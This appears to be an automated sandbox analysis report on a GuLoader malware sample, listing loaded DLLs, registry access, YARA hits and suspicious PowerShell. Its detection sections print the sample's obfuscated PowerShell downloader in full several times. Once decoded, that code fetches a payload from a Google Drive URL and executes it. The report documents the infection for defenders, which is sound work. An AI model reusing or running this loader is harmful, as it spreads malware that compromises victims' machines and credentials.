Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: napinsp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: pnrpnsp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshbth.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: nlaapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winrnr.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: napinsp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: pnrpnsp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshbth.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: nlaapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winrnr.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Section loaded: rasapi32.dll	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Section loaded: rasman.dll	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Section loaded: rtutils.dll	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Section loaded: vaultcli.dll	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Section loaded: wintypes.dll	Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{B54F3741-5B07-11cf-A4B0-00AA004A55E8}\InprocServer32

Jump to behavior

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File opened: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorrc.dll

Jump to behavior

Source: C:\Program Files (x86)\Windows Mail\wab.exe

Key opened: HKEY_CURRENT_USER\Software\Microsoft\Office\11.0\Outlook\Profiles

Jump to behavior

Source:	Binary string: qm.Core.pdb source: powershell.exe, 00000009.00000002.2010987312.0000000007872000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Windows\System.Management.Automation.pdbpdbion.pdb source: powershell.exe, 00000009.00000002.2010987312.0000000007807000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: CallSite.Targetore.pdb source: powershell.exe, 00000009.00000002.2003068899.0000000003320000.00000004.00000020.00020000.00000000.sdmp

Data Obfuscation

VBScript performs obfuscated calls to suspicious functions

Source: C:\Windows\System32\wscript.exe

Anti Malware Scan Interface: ShellExecute("POWERSHELL.exe", ""$Klervske = 1;$Hengivnes='Substrin';$H", "", "", "0");

Yara detected GuLoader

Source: Yara match	File source: 0000000C.00000002.2627141009.0000000004605000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000009.00000002.2017391660.0000000009585000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000009.00000002.2017192523.0000000008C40000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000002.2435920158.0000018931660000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000009.00000002.2007819028.00000000061C2000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY

Found suspicious powershell code related to unpacking or dynamic code loading

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Anti Malware Scan Interface: FromBase64String($Nazaritism)$global:Overslack = [System.Text.Encoding]::ASCII.GetString($Vvets)$global:Burnfire=$Overslack.substring(305706,29961)<#Projektgruppe Hundrede Constraints Nonterritorially
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Anti Malware Scan Interface: GetDelegateForFunctionPointer((Trflerne $Memory $Gyratorkoblede), (Underlagt @([IntPtr], [UInt32], [UInt32], [UInt32]) ([IntPtr])))$global:Tikkenes = [AppDomain]::CurrentDomain.GetAssemblies()$global:
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Anti Malware Scan Interface: DefineDynamicAssembly((New-Object System.Reflection.AssemblyName($Sweepsteaket)), [System.Reflection.Emit.AssemblyBuilderAccess]::Run).DefineDynamicModule($Blennophthalmia82, $false).DefineType($Wrapp
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Anti Malware Scan Interface: FromBase64String($Nazaritism)$global:Overslack = [System.Text.Encoding]::ASCII.GetString($Vvets)$global:Burnfire=$Overslack.substring(305706,29961)<#Projektgruppe Hundrede Constraints Nonterritorially

Suspicious powershell command line found

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "$Klervske = 1;$Hengivnes='Substrin';$Hengivnes+='g';Function Banuyo17($Kolonihaves){$Paraglossia=$Kolonihaves.Length-$Klervske;For($Grazer=5; $Grazer -lt $Paraglossia; $Grazer+=(6)){$Fradrage249+=$Kolonihaves.$Hengivnes.Invoke($Grazer, $Klervske);}$Fradrage249;}function decoupled($Calorically){& ($Sommerperioden) ($Calorically);}$Brodfrs=Banuyo17 'B mbeMstillor,kalzRehoniGematlLacerlMatria asse/ P.oc5Klods.Sy.sl0Azotu prore( BjerWBuskaiUfejlnLigkad,yclooUdstawRessosStarn Cran,NArbejTKisse Depe1Kv te0Incre.O lys0 Nove; H na pathoWScrobiBndlenLoved6A.skr4Ma.ne;For a PresixOblig6Imper4Uophr;Fejlb KvalirShiitvTinct: Gru 1Carro2Le,kb1Diasy. Demu0Smi g) skin RumplGEnosteSolitc Fo hkCyma,o Blnd/Paape2H.rsk0 Doze1 ofma0Tasti0Unbad1Distr0Odont1Vag,e TosseFBrohoi Semir,yvsteBrnesf SkiroVelsexExuld/Bevis1Ujaev2Samos1Exter.Thwac0Sees ';$Stenotaphrum=Banuyo17 'Trbl,UKomplsStatseSmaalr Hj,o-Det,uALovfog ,asteForomn Un ntGreg ';$Amputationer=Banuyo17 'Sederh Ar.dtFremsttredip.luklsGalde: Ansk/Fr.ml/AntiadKvster MandiFripavSati.eG.lio. SikkgSeb soByto,oMaximgNontelBal ieEinar.SyntacArb.jo ,gebmBalda/InterugonofcOvera?TakeueUvistxKvit,pR,maioindberTranst Pree=CaissdPosteoBowlewCorn,n SteelUns.loMatera Boncd Besi&O erfiUnburdSynta=Prten1,aghuoPars lMelonGImper4underRSho.t0ExcurHtang,LUntrejAut eL,aben5Astho0Ton.dh u,viYGodkevMel eD IncruCylinsI.olaEUrtep_DistrSHyperTAfl s-KulbrCScrevKHugorhThermKImperIPadd r Db.f- FrasD.vervRNo,ar ';$Laservid=Banuyo17 'Mili.>.nten ';$Sommerperioden=Banuyo17 'Ga boiFor.seForndxV ars ';$pseudonitrosite = Banuyo17 'Bru,eeCr.chc P.coh.odomo.kuds Afsni%Sol,eaRe.sepUnderpTruand.icebaSavortSectiaUnder%Hangm\Ene gASkotjuSystesWopudt SprorAllosaIndsklPremiiGigg.a balln forssAmygd. AlsiHNormtoSt rmvCorka Chond& Sk u& Stan Sp,see Orn,cErhvehmonaroTerep .epu$ Coal ';decoupled (Banuyo17 'Overk$Kkkeng J,gelLivsooUd,tibSleepaphotolBarda:NewsdF Os.auMultilFe.tud TyphmTamaraKlaveaEllipnForsteParalrOptag=Stran(,torkc,anghmRea tdNerve Skunk/BrrencIndl Langb$UndulpIndh sPr.oceOrganuhemlidAust oLokalnTerroi ImmatTrombrR.dimoCon,es Lig i McmutdknaveMotor)Inds ');decoupled (Banuyo17 ',rnsk$F,stegSili lSaksnoPr.blbAghanaBeseelTriak:StaffBD wcooGallftGngerr undey CecelKo,gelEmotii.appedSnakea K ajeU.ret=Uddel$fyrinA,lutmm.osimpFra auBekentSubdeaCostltIndpoiCholaoSemiwnOpstaeBuffer Unsy.CommissynkrpMaterl PolliFlight Scra( Fusi$Fr igLlnsuma Cir.s MetaeKunstrModerv OptaibirgidFinge)Bidra ');$Amputationer=$Botryllidae[0];decoupled (Banuyo17 ',lyve$Ek,orgMiswrlTherioPlenubFedtiaLfterlTexti: temKFiskerIsocyeOvergm ubee Parar KicheDyna tOpspa= SvigNSvin,efibe,w Port-KrakeO urtzbhypopjGa,eke Unvocprfert Bulb sl,ghSDiscoy errasShanktErhere Ma gmSmert.DubioNHaworePrototSliv.. rojWFeneseKv,enb ,uriCMyreulStudei PrsteBssemnBogomtBeby ');decoupled (Banuyo17 'Arbej$JenirKStjerrbegiteBarsemHaandeudsidrMrke.e Fordtjunki.lensaHNovemeDiakoaSam
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\syswow64\WindowsPowerShell\v1.0\powershell.exe" "$Klervske = 1;$Hengivnes='Substrin';$Hengivnes+='g';Function Banuyo17($Kolonihaves){$Paraglossia=$Kolonihaves.Length-$Klervske;For($Grazer=5; $Grazer -lt $Paraglossia; $Grazer+=(6)){$Fradrage249+=$Kolonihaves.$Hengivnes.Invoke($Grazer, $Klervske);}$Fradrage249;}function decoupled($Calorically){& ($Sommerperioden) ($Calorically);}$Brodfrs=Banuyo17 'B mbeMstillor,kalzRehoniGematlLacerlMatria asse/ P.oc5Klods.Sy.sl0Azotu prore( BjerWBuskaiUfejlnLigkad,yclooUdstawRessosStarn Cran,NArbejTKisse Depe1Kv te0Incre.O lys0 Nove; H na pathoWScrobiBndlenLoved6A.skr4Ma.ne;For a PresixOblig6Imper4Uophr;Fejlb KvalirShiitvTinct: Gru 1Carro2Le,kb1Diasy. Demu0Smi g) skin RumplGEnosteSolitc Fo hkCyma,o Blnd/Paape2H.rsk0 Doze1 ofma0Tasti0Unbad1Distr0Odont1Vag,e TosseFBrohoi Semir,yvsteBrnesf SkiroVelsexExuld/Bevis1Ujaev2Samos1Exter.Thwac0Sees ';$Stenotaphrum=Banuyo17 'Trbl,UKomplsStatseSmaalr Hj,o-Det,uALovfog ,asteForomn Un ntGreg ';$Amputationer=Banuyo17 'Sederh Ar.dtFremsttredip.luklsGalde: Ansk/Fr.ml/AntiadKvster MandiFripavSati.eG.lio. SikkgSeb soByto,oMaximgNontelBal ieEinar.SyntacArb.jo ,gebmBalda/InterugonofcOvera?TakeueUvistxKvit,pR,maioindberTranst Pree=CaissdPosteoBowlewCorn,n SteelUns.loMatera Boncd Besi&O erfiUnburdSynta=Prten1,aghuoPars lMelonGImper4underRSho.t0ExcurHtang,LUntrejAut eL,aben5Astho0Ton.dh u,viYGodkevMel eD IncruCylinsI.olaEUrtep_DistrSHyperTAfl s-KulbrCScrevKHugorhThermKImperIPadd r Db.f- FrasD.vervRNo,ar ';$Laservid=Banuyo17 'Mili.>.nten ';$Sommerperioden=Banuyo17 'Ga boiFor.seForndxV ars ';$pseudonitrosite = Banuyo17 'Bru,eeCr.chc P.coh.odomo.kuds Afsni%Sol,eaRe.sepUnderpTruand.icebaSavortSectiaUnder%Hangm\Ene gASkotjuSystesWopudt SprorAllosaIndsklPremiiGigg.a balln forssAmygd. AlsiHNormtoSt rmvCorka Chond& Sk u& Stan Sp,see Orn,cErhvehmonaroTerep .epu$ Coal ';decoupled (Banuyo17 'Overk$Kkkeng J,gelLivsooUd,tibSleepaphotolBarda:NewsdF Os.auMultilFe.tud TyphmTamaraKlaveaEllipnForsteParalrOptag=Stran(,torkc,anghmRea tdNerve Skunk/BrrencIndl Langb$UndulpIndh sPr.oceOrganuhemlidAust oLokalnTerroi ImmatTrombrR.dimoCon,es Lig i McmutdknaveMotor)Inds ');decoupled (Banuyo17 ',rnsk$F,stegSili lSaksnoPr.blbAghanaBeseelTriak:StaffBD wcooGallftGngerr undey CecelKo,gelEmotii.appedSnakea K ajeU.ret=Uddel$fyrinA,lutmm.osimpFra auBekentSubdeaCostltIndpoiCholaoSemiwnOpstaeBuffer Unsy.CommissynkrpMaterl PolliFlight Scra( Fusi$Fr igLlnsuma Cir.s MetaeKunstrModerv OptaibirgidFinge)Bidra ');$Amputationer=$Botryllidae[0];decoupled (Banuyo17 ',lyve$Ek,orgMiswrlTherioPlenubFedtiaLfterlTexti: temKFiskerIsocyeOvergm ubee Parar KicheDyna tOpspa= SvigNSvin,efibe,w Port-KrakeO urtzbhypopjGa,eke Unvocprfert Bulb sl,ghSDiscoy errasShanktErhere Ma gmSmert.DubioNHaworePrototSliv.. rojWFeneseKv,enb ,uriCMyreulStudei PrsteBssemnBogomtBeby ');decoupled (Banuyo17 'Arbej$JenirKStjerrbegiteBarsemHaandeudsidrMrke.e Fordtjunki.lensaHNovemeDiakoaSam
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "$Klervske = 1;$Hengivnes='Substrin';$Hengivnes+='g';Function Banuyo17($Kolonihaves){$Paraglossia=$Kolonihaves.Length-$Klervske;For($Grazer=5; $Grazer -lt $Paraglossia; $Grazer+=(6)){$Fradrage249+=$Kolonihaves.$Hengivnes.Invoke($Grazer, $Klervske);}$Fradrage249;}function decoupled($Calorically){& ($Sommerperioden) ($Calorically);}$Brodfrs=Banuyo17 'B mbeMstillor,kalzRehoniGematlLacerlMatria asse/ P.oc5Klods.Sy.sl0Azotu prore( BjerWBuskaiUfejlnLigkad,yclooUdstawRessosStarn Cran,NArbejTKisse Depe1Kv te0Incre.O lys0 Nove; H na pathoWScrobiBndlenLoved6A.skr4Ma.ne;For a PresixOblig6Imper4Uophr;Fejlb KvalirShiitvTinct: Gru 1Carro2Le,kb1Diasy. Demu0Smi g) skin RumplGEnosteSolitc Fo hkCyma,o Blnd/Paape2H.rsk0 Doze1 ofma0Tasti0Unbad1Distr0Odont1Vag,e TosseFBrohoi Semir,yvsteBrnesf SkiroVelsexExuld/Bevis1Ujaev2Samos1Exter.Thwac0Sees ';$Stenotaphrum=Banuyo17 'Trbl,UKomplsStatseSmaalr Hj,o-Det,uALovfog ,asteForomn Un ntGreg ';$Amputationer=Banuyo17 'Sederh Ar.dtFremsttredip.luklsGalde: Ansk/Fr.ml/AntiadKvster MandiFripavSati.eG.lio. SikkgSeb soByto,oMaximgNontelBal ieEinar.SyntacArb.jo ,gebmBalda/InterugonofcOvera?TakeueUvistxKvit,pR,maioindberTranst Pree=CaissdPosteoBowlewCorn,n SteelUns.loMatera Boncd Besi&O erfiUnburdSynta=Prten1,aghuoPars lMelonGImper4underRSho.t0ExcurHtang,LUntrejAut eL,aben5Astho0Ton.dh u,viYGodkevMel eD IncruCylinsI.olaEUrtep_DistrSHyperTAfl s-KulbrCScrevKHugorhThermKImperIPadd r Db.f- FrasD.vervRNo,ar ';$Laservid=Banuyo17 'Mili.>.nten ';$Sommerperioden=Banuyo17 'Ga boiFor.seForndxV ars ';$pseudonitrosite = Banuyo17 'Bru,eeCr.chc P.coh.odomo.kuds Afsni%Sol,eaRe.sepUnderpTruand.icebaSavortSectiaUnder%Hangm\Ene gASkotjuSystesWopudt SprorAllosaIndsklPremiiGigg.a balln forssAmygd. AlsiHNormtoSt rmvCorka Chond& Sk u& Stan Sp,see Orn,cErhvehmonaroTerep .epu$ Coal ';decoupled (Banuyo17 'Overk$Kkkeng J,gelLivsooUd,tibSleepaphotolBarda:NewsdF Os.auMultilFe.tud TyphmTamaraKlaveaEllipnForsteParalrOptag=Stran(,torkc,anghmRea tdNerve Skunk/BrrencIndl Langb$UndulpIndh sPr.oceOrganuhemlidAust oLokalnTerroi ImmatTrombrR.dimoCon,es Lig i McmutdknaveMotor)Inds ');decoupled (Banuyo17 ',rnsk$F,stegSili lSaksnoPr.blbAghanaBeseelTriak:StaffBD wcooGallftGngerr undey CecelKo,gelEmotii.appedSnakea K ajeU.ret=Uddel$fyrinA,lutmm.osimpFra auBekentSubdeaCostltIndpoiCholaoSemiwnOpstaeBuffer Unsy.CommissynkrpMaterl PolliFlight Scra( Fusi$Fr igLlnsuma Cir.s MetaeKunstrModerv OptaibirgidFinge)Bidra ');$Amputationer=$Botryllidae[0];decoupled (Banuyo17 ',lyve$Ek,orgMiswrlTherioPlenubFedtiaLfterlTexti: temKFiskerIsocyeOvergm ubee Parar KicheDyna tOpspa= SvigNSvin,efibe,w Port-KrakeO urtzbhypopjGa,eke Unvocprfert Bulb sl,ghSDiscoy errasShanktErhere Ma gmSmert.DubioNHaworePrototSliv.. rojWFeneseKv,enb ,uriCMyreulStudei PrsteBssemnBogomtBeby ');decoupled (Banuyo17 'Arbej$JenirKStjerrbegiteBarsemHaandeudsidrMrke.e Fordtjunki.lensaHNovemeDiakoaSam	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\syswow64\WindowsPowerShell\v1.0\powershell.exe" "$Klervske = 1;$Hengivnes='Substrin';$Hengivnes+='g';Function Banuyo17($Kolonihaves){$Paraglossia=$Kolonihaves.Length-$Klervske;For($Grazer=5; $Grazer -lt $Paraglossia; $Grazer+=(6)){$Fradrage249+=$Kolonihaves.$Hengivnes.Invoke($Grazer, $Klervske);}$Fradrage249;}function decoupled($Calorically){& ($Sommerperioden) ($Calorically);}$Brodfrs=Banuyo17 'B mbeMstillor,kalzRehoniGematlLacerlMatria asse/ P.oc5Klods.Sy.sl0Azotu prore( BjerWBuskaiUfejlnLigkad,yclooUdstawRessosStarn Cran,NArbejTKisse Depe1Kv te0Incre.O lys0 Nove; H na pathoWScrobiBndlenLoved6A.skr4Ma.ne;For a PresixOblig6Imper4Uophr;Fejlb KvalirShiitvTinct: Gru 1Carro2Le,kb1Diasy. Demu0Smi g) skin RumplGEnosteSolitc Fo hkCyma,o Blnd/Paape2H.rsk0 Doze1 ofma0Tasti0Unbad1Distr0Odont1Vag,e TosseFBrohoi Semir,yvsteBrnesf SkiroVelsexExuld/Bevis1Ujaev2Samos1Exter.Thwac0Sees ';$Stenotaphrum=Banuyo17 'Trbl,UKomplsStatseSmaalr Hj,o-Det,uALovfog ,asteForomn Un ntGreg ';$Amputationer=Banuyo17 'Sederh Ar.dtFremsttredip.luklsGalde: Ansk/Fr.ml/AntiadKvster MandiFripavSati.eG.lio. SikkgSeb soByto,oMaximgNontelBal ieEinar.SyntacArb.jo ,gebmBalda/InterugonofcOvera?TakeueUvistxKvit,pR,maioindberTranst Pree=CaissdPosteoBowlewCorn,n SteelUns.loMatera Boncd Besi&O erfiUnburdSynta=Prten1,aghuoPars lMelonGImper4underRSho.t0ExcurHtang,LUntrejAut eL,aben5Astho0Ton.dh u,viYGodkevMel eD IncruCylinsI.olaEUrtep_DistrSHyperTAfl s-KulbrCScrevKHugorhThermKImperIPadd r Db.f- FrasD.vervRNo,ar ';$Laservid=Banuyo17 'Mili.>.nten ';$Sommerperioden=Banuyo17 'Ga boiFor.seForndxV ars ';$pseudonitrosite = Banuyo17 'Bru,eeCr.chc P.coh.odomo.kuds Afsni%Sol,eaRe.sepUnderpTruand.icebaSavortSectiaUnder%Hangm\Ene gASkotjuSystesWopudt SprorAllosaIndsklPremiiGigg.a balln forssAmygd. AlsiHNormtoSt rmvCorka Chond& Sk u& Stan Sp,see Orn,cErhvehmonaroTerep .epu$ Coal ';decoupled (Banuyo17 'Overk$Kkkeng J,gelLivsooUd,tibSleepaphotolBarda:NewsdF Os.auMultilFe.tud TyphmTamaraKlaveaEllipnForsteParalrOptag=Stran(,torkc,anghmRea tdNerve Skunk/BrrencIndl Langb$UndulpIndh sPr.oceOrganuhemlidAust oLokalnTerroi ImmatTrombrR.dimoCon,es Lig i McmutdknaveMotor)Inds ');decoupled (Banuyo17 ',rnsk$F,stegSili lSaksnoPr.blbAghanaBeseelTriak:StaffBD wcooGallftGngerr undey CecelKo,gelEmotii.appedSnakea K ajeU.ret=Uddel$fyrinA,lutmm.osimpFra auBekentSubdeaCostltIndpoiCholaoSemiwnOpstaeBuffer Unsy.CommissynkrpMaterl PolliFlight Scra( Fusi$Fr igLlnsuma Cir.s MetaeKunstrModerv OptaibirgidFinge)Bidra ');$Amputationer=$Botryllidae[0];decoupled (Banuyo17 